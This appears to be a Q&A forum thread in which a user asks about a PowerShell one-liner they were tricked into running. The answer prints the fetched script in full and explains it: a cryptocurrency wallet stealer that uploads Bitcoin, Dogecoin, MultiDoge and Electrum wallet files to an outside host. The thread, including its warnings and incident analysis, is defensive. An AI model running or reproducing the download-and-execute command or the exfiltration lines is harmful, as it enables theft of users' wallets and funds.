69

I was an idiot and was suckered into running a PowerShell script. What are the details about it? I have a feeling they only uploaded some files from my system.

But I am worried there may be a backdoor left running on my system. The upload I can live with, but not a backdoor.

Warning! Do not run this script.

iex "& { $(irm

(I separated this into two lines to prevent unintentional running it)

powershell.software/versioncheck) } RunJob"

Warning! Do not run this script.

4
  • Do you mean this one: social.technet.microsoft.com/Forums/en-US/… ??? Oct 20 at 1:30
  • 2
    @ChanganAuto No. OP's command connected to a fake endpoint @ powershell.software/versioncheck and installed malicious code.
    – Nelson
    Oct 21 at 2:51
  • 1
    @OP It'd be interesting to hear how you were suckered into running the script, for the benefit of everyone else!
    – Rich
    Oct 22 at 11:43
  • @Rich I'll answer this in the linked Chat
    – Moon
    Oct 22 at 12:18
102

Edit 25/10/2021:

Since the writing of this answer, access to the malicious code at powershell.software/versioncheck is now prevented (and now yields a 403 error), but could come back at any time. It is still a risk.


WARNING: DO NOT EXECUTE ANY OF THE CODE IN THIS ANSWER. IT IS MALICIOUS AND HAS ONLY BEEN INCLUDED FOR DEMONSTRATIVE PURPOSES.

powershell.software/versioncheck is a malicious link

The page it leads to looks as follows:

$ErrorActionPreference = 'silentlycontinue'
Write-Host "Checking for the latest version..."
Invoke-RestMethod -method PUT -infile ~\desktop\backups\found.wallet extract.onl/logs
Invoke-RestMethod -method PUT -infile .\found.wallet extract.onl/desktop
Invoke-RestMethod -method PUT -infile .\multidoge.wallet extract.onl/seed
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\Dogecoin\wallet.dat extract.onl/doge
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\Bitcoin\wallet.dat extract.onl/bitcoin
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\MultiDoge\multidoge.wallet extract.onl/multidoge/wallet
Compress-Archive -Path ~\Appdata\Roaming\MultiDoge\multidoge-data -DestinationPath ~\Appdata\Roaming\MultiDoge\multidoge-data
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\MultiDoge\multidoge-data.zip extract.onl/multidoge/backups
Write-Host "You are currently running 7.1.4 Windows PowerShell, Java 2021"
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\Electrum\wallets\default_wallet extract.onl/electrum





<head>
<style>
body {
  background-color: black;
}

</style>
</head>

 <meta http-equiv = "refresh" content = "0; url = notfound" />

When you try to visit this link in a browser, it quickly redirects you away from that page, to another page pretending (poorly) that the site does not exist:

<meta http-equiv = "refresh" content = "0; url = notfound" />

When executed in the full command you provided, however, it recognises the following lines as PowerShell commands:

$ErrorActionPreference = 'silentlycontinue'
Write-Host "Checking for the latest version..."
Invoke-RestMethod -method PUT -infile ~\desktop\backups\found.wallet extract.onl/logs
Invoke-RestMethod -method PUT -infile .\found.wallet extract.onl/desktop
Invoke-RestMethod -method PUT -infile .\multidoge.wallet extract.onl/seed
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\Dogecoin\wallet.dat extract.onl/doge
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\Bitcoin\wallet.dat extract.onl/bitcoin
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\MultiDoge\multidoge.wallet extract.onl/multidoge/wallet
Compress-Archive -Path ~\Appdata\Roaming\MultiDoge\multidoge-data -DestinationPath ~\Appdata\Roaming\MultiDoge\multidoge-data
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\MultiDoge\multidoge-data.zip extract.onl/multidoge/backups
Write-Host "You are currently running 7.1.4 Windows PowerShell, Java 2021"
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\Electrum\wallets\default_wallet extract.onl/electrum

It is a primitive cryptocurrency wallet stealer. Every line starting with Invoke-RestMethod attempts to send data from other possible cryptocurrency wallets (if you have any installed on your computer) to a page on the endpoint http://extract.onl.

If you have any cryptocurrency wallets on the computer, they are now likely compromised. Transfer anything in them to another SECURED wallet.

Summarizing your concerns:

I have a feeling they only uploaded some files from my system.

But I am worried there may be a backdoor left running on my system. The upload I can live with, but not a backdoor.

Yes, if these files on your computer existed, they were uploaded. That's all that this script appears to do however, so there is no persisting backdoor left on your system.

6
  • 1
    Comments are not for extended discussion; this conversation has been moved to chat.
    – DavidPostill
    Oct 22 at 7:02
  • 8
    Important caveat is that the script served could vary based on e.g. computer IP address. But unless this was a targeted attack, it seems unlikely.
    – jpa
    Oct 22 at 11:38
  • 1
    The script can also be vary over time - e.g. at one time it might have installed something persistent, but that got removed, e.g. because security filters or virus scanners were detecting that. your choice how paranoid to be.
    – Krazy Glew
    Oct 22 at 19:25
  • @jpa Before posting I also tested the URL on various VPN servers around the globe as well and noticed no difference. But yes there's always a risk that it could've changed after being initially triggered by the OP. From the context given in the chat on this answer however, it sounds highly likely that it was this same script that was run. Oct 22 at 20:35
  • How did you test this? A VM? Oct 23 at 0:33

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.